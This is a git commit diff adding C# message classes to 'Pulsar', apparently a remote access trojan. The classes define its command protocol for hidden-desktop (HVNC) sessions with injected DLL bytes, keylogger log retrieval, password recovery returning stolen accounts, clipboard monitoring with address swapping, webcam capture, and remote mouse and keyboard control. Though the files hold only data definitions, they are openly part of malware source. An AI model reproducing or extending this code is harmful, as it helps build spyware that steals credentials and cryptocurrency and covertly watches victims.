initial commit
This commit is contained in:
BIN
Binary file not shown.
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.Clipboard
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoGetAddress : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Type { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.Clipboard
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoSendAddress : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Address { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.Clipboard
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class SendClipboardData : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string ClipboardText { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.Clipboard
|
||||
{
|
||||
/// <summary>
|
||||
/// Message to enable or disable clipboard monitoring on the client.
|
||||
/// </summary>
|
||||
[MessagePackObject]
|
||||
public class SetClipboardMonitoringEnabled : IMessage
|
||||
{
|
||||
/// <summary>
|
||||
/// Gets or sets whether clipboard monitoring should be enabled.
|
||||
/// </summary>
|
||||
[Key(1)]
|
||||
public bool Enabled { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
using System;
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoHVNCInput : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public uint msg { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int wParam { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int lParam { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetHVNCDesktop : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public bool CreateNew { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int Quality { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int DisplayIndex { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public RemoteDesktopStatus Status { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public bool UseGPU { get; set; }
|
||||
|
||||
[Key(6)]
|
||||
public int FramesRequested { get; set; } = 1;
|
||||
|
||||
[Key(7)]
|
||||
public bool IsBufferedMode { get; set; } = true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Video;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetHVNCDesktopResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public byte[] Image { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int Quality { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int Monitor { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public Resolution Resolution { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public long Timestamp { get; set; }
|
||||
|
||||
[Key(6)]
|
||||
public bool IsLastRequestedFrame { get; set; }
|
||||
|
||||
[Key(7)]
|
||||
public float Fps { get; set; } = -1f;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetHVNCMonitors : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetHVNCMonitorsResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int Number { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
using System;
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.HVNC
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class StartHVNCProcess : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Path { get; set; }
|
||||
[Key(2)]
|
||||
public string Arguments { get; set; }
|
||||
[Key(3)]
|
||||
public bool DontCloneProfile { get; set; }
|
||||
[Key(4)]
|
||||
public byte[] DllBytes { get; set; }
|
||||
[Key(5)]
|
||||
public string CustomBrowserPath { get; set; }
|
||||
[Key(6)]
|
||||
public string CustomSearchPattern { get; set; }
|
||||
[Key(7)]
|
||||
public string CustomReplacementPath { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.KeyLogger
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetKeyloggerLogsDirectory : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetKeyloggerLogsDirectoryResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string LogsDirectory { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.Passwords
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetPasswords : IMessage
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetPasswordsResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public List<RecoveredAccount> RecoveredAccounts { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.Query
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetBrowsers : IMessage
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models.Query.Browsers;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.Query.Browsers
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetBrowsersResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public List<QueryBrowsers> QueryBrowsers { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using System.Drawing;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoDrawingEvent : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int X { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int Y { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int PrevX { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public int PrevY { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public int StrokeWidth { get; set; }
|
||||
|
||||
[Key(6)]
|
||||
public int ColorArgb { get; set; }
|
||||
|
||||
[Key(7)]
|
||||
public bool IsEraser { get; set; }
|
||||
|
||||
[Key(8)]
|
||||
public bool IsClearAll { get; set; }
|
||||
|
||||
[Key(9)]
|
||||
public int MonitorIndex { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoKeyboardEvent : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public byte Key { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public bool KeyDown { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoMouseEvent : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public MouseAction Action { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public bool IsMouseDown { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int X { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public int Y { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public int MonitorIndex { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetDesktop : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public bool CreateNew { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int Quality { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int DisplayIndex { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public RemoteDesktopStatus Status { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public bool UseGPU { get; set; }
|
||||
|
||||
[Key(6)]
|
||||
public int FramesRequested { get; set; } = 1;
|
||||
|
||||
[Key(7)]
|
||||
public bool IsBufferedMode { get; set; } = true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Video;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetDesktopResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public byte[] Image { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int Quality { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int Monitor { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public Resolution Resolution { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public long Timestamp { get; set; }
|
||||
|
||||
[Key(6)]
|
||||
public bool IsLastRequestedFrame { get; set; }
|
||||
|
||||
[Key(7)]
|
||||
public float FrameRate { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetMonitors : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetMonitorsResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public int Number { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.VirtualMonitor
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoInstallVirtualMonitor : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Monitoring.VirtualMonitor
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class DoUninstallVirtualMonitor : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Webcam
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetAvailableWebcams : IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Webcam
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetAvailableWebcamsResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string[] Webcams { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Webcam
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetWebcam : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public bool CreateNew { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int Quality { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int DisplayIndex { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public RemoteWebcamStatus Status { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public bool UseGPU { get; set; }
|
||||
|
||||
[Key(6)]
|
||||
public int FramesRequested { get; set; } = 1;
|
||||
|
||||
[Key(7)]
|
||||
public bool IsBufferedMode { get; set; } = true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Video;
|
||||
|
||||
namespace Pulsar.Common.Messages.Webcam
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class GetWebcamResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public byte[] Image { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int Quality { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public int Monitor { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public Resolution Resolution { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public long Timestamp { get; set; }
|
||||
|
||||
[Key(6)]
|
||||
public bool IsLastRequestedFrame { get; set; }
|
||||
|
||||
[Key(7)]
|
||||
public float FrameRate { get; set; }
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user